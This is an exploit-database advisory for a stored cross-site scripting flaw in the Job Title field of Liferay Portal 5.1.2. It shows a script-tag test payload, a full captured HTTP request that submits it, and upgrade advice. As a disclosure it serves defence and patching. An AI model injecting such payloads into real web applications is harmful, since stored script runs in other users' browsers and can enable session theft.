Liferay Portal 5.1.2 - Persistent XSS

vendor:

Liferay Portal

by:

Sarim Kiani

7,5

CVSS

HIGH

Persistent XSS

CWE

Product Name: Liferay Portal

Affected Version From: 5.1.2

Affected Version To: 5.1.2

Patch Exists: NO

Related CWE: N/A

CPE: a:liferay:liferay_portal:5.1.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows OS

2016

Liferay Portal 5.1.2 – Persistent XSS

A persistent XSS exists in 'My Account' page of the application. Any user entering personal information in the 'My Account' page of the application can insert XSS Payload in the Form. Test Payload: '><script>alert(1);</script> Parameter: _79_jobTitle Parameter Name: Job Title

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks.

Source

Exploit-DB raw data:

#Exploit Title: Liferay Portal 5.1.2 - Persistent XSS 
#Discovery Date: 2016-02-10
#Exploit Author: Sarim Kiani
#Vendor Homepage: https://www.liferay.com
#Software Link: https://www.liferay.com/community/releases
#Version: 5.1.2
#Tested on: Windows OS

Liferay Portal 5.1.2 is an open source version of Liferay's enterprise web platform for building business solutions that deliver immediate results and long-term value.

1. Vulnerability Description:

A persistent XSS exists in "My Account" page of the application.

2. Proof of Concept:

Any user entering personal information in the "My Account" page of the application can insert XSS Payload in the Form.

Test Payload: "><script>alert(1);</script>

Parameter: _79_jobTitle
Parameter Name: Job Title

POST /user/test/home?p_p_id=79&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_79_struts_action=%2Fenterprise_admin%2Fedit_user HTTP/1.1
Host: localhost:8082
Content-Length: 2712
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8082/user/test/home?p_p_id=79&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_79_struts_action=%2Fenterprise_admin%2Fedit_user&_79_redirect=http%3A%2F%2Flocalhost%3A8082%2Fuser%2Ftest%2Fhome%3Fp_p_id%3D79%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_79_struts_action%3D%252Fenterprise_admin%252Fview%26_79_tabs1%3Dusers%26_79_tabs2%3D%26_79_tabs3%3D%26_79_keywords%3D%26_79_advancedSearch%3Dfalse%26_79_andOperator%3Dtrue%26_79_firstName%3D%26_79_middleName%3D%26_79_lastName%3D%26_79_screenName%3D%26_79_emailAddress%3D%26_79_active%3Dtrue%26_79_organizationId%3D0%26_79_roleId%3D0%26_79_userGroupId%3D0%26_79_cur%3D1&_79_p_u_i_d=10301
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: LFR_SESSION_STATE_10127=1459071499499; COOKIE_SUPPORT=true; JSESSIONID=F53EC8D33C0D3ED9AD62FDA0BB682201; COMPANY_ID=10106; ID=7a31746f4f4c712f4179453d; PASSWORD=4e4c77485138744d61356f3d; LOGIN=74657374406c6966657261792e636f6d; SCREEN_NAME=4e4c77485138744d61356f3d; GUEST_LANGUAGE_ID=en_US
Connection: close

_79_cmd=update&_79_tabs2=display&_79_tabs3=email-addresses&_79_tabs4=phone-numbers&_79_redirect=http%3A%2F%2Flocalhost%3A8082%2Fuser%2Ftest%2Fhome%3Fp_p_id%3D79%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_79_struts_action%3D%252Fenterprise_admin%252Fedit_user%26_79_tabs2%3Ddisplay%26_79_tabs3%3Demail-addresses%26_79_tabs4%3Dphone-numbers%26_79_backURL%3Dhttp%253A%252F%252Flocalhost%253A8082%252Fuser%252Ftest%252Fhome%253Fp_p_id%253D79%2526p_p_lifecycle%253D0%2526p_p_state%253Dmaximized%2526p_p_mode%253Dview%2526_79_struts_action%253D%25252Fenterprise_admin%25252Fview%2526_79_tabs1%253Dusers%2526_79_tabs2%253D%2526_79_tabs3%253D%2526_79_keywords%253D%2526_79_advancedSearch%253Dfalse%2526_79_andOperator%253Dtrue%2526_79_firstName%253D%2526_79_middleName%253D%2526_79_lastName%253D%2526_79_screenName%253D%2526_79_emailAddress%253D%2526_79_active%253Dtrue%2526_79_organizationId%253D0%2526_79_roleId%253D0%2526_79_userGroupId%253D0%2526_79_cur%253D1%26_79_p_u_i_d%3D&_79_backURL=http%3A%2F%2Flocalhost%3A8082%2Fuser%2Ftest%2Fhome%3Fp_p_id%3D79%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_79_struts_action%3D%252Fenterprise_admin%252Fview%26_79_tabs1%3Dusers%26_79_tabs2%3D%26_79_tabs3%3D%26_79_keywords%3D%26_79_advancedSearch%3Dfalse%26_79_andOperator%3Dtrue%26_79_firstName%3D%26_79_middleName%3D%26_79_lastName%3D%26_79_screenName%3D%26_79_emailAddress%3D%26_79_active%3Dtrue%26_79_organizationId%3D0%26_79_roleId%3D0%26_79_userGroupId%3D0%26_79_cur%3D1&_79_p_u_i_d=10301&_79_tabs1TabsScroll=&_79_screenName=user&_79_emailAddress=user%40xyz.com&_79_prefixId=&_79_firstName=John&_79_middleName=&_79_lastName=Hopkins&_79_suffixId=&_79_birthdayMonth=0&_79_birthdayDay=1&_79_birthdayYear=1970&_79_male=1&_79_organizationIds=&_79_organizationNames=&_79_jobTitle=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&_79_tabs2TabsScroll=&_79_languageId=en_US&_79_timeZoneId=Pacific%2FMidway&_79_greeting=Welcome+John+Hopkins%21&_79_password1=&_79_password2=&_79_passwordReset=false&_79_tabs3TabsScroll=&_79_tabs4TabsScroll=&_79_openId=&_79_smsSn=&_79_aimSn=&_79_icqSn=&_79_jabberSn=&_79_msnSn=&_79_skypeSn=&_79_ymSn=&_79_facebookSn=&_79_mySpaceSn=&_79_twitterSn=&_79_announcementsTypegeneralEmail=false&_79_announcementsTypegeneralSms=false&_79_announcementsTypegeneralWebsite=true&_79_announcementsTypegeneralWebsiteCheckbox=on&_79_announcementsTypenewsEmail=false&_79_announcementsTypenewsSms=false&_79_announcementsTypenewsWebsite=true&_79_announcementsTypenewsWebsiteCheckbox=on&_79_announcementsTypetestEmail=false&_79_announcementsTypetestSms=false&_79_announcementsTypetestWebsite=true&_79_announcementsTypetestWebsiteCheckbox=on&_79_tabs1TabsScroll=&_79_comments=

3. Solution:

Issue has been resolved in newer versions. Upgrade to 6.1 CE or newer.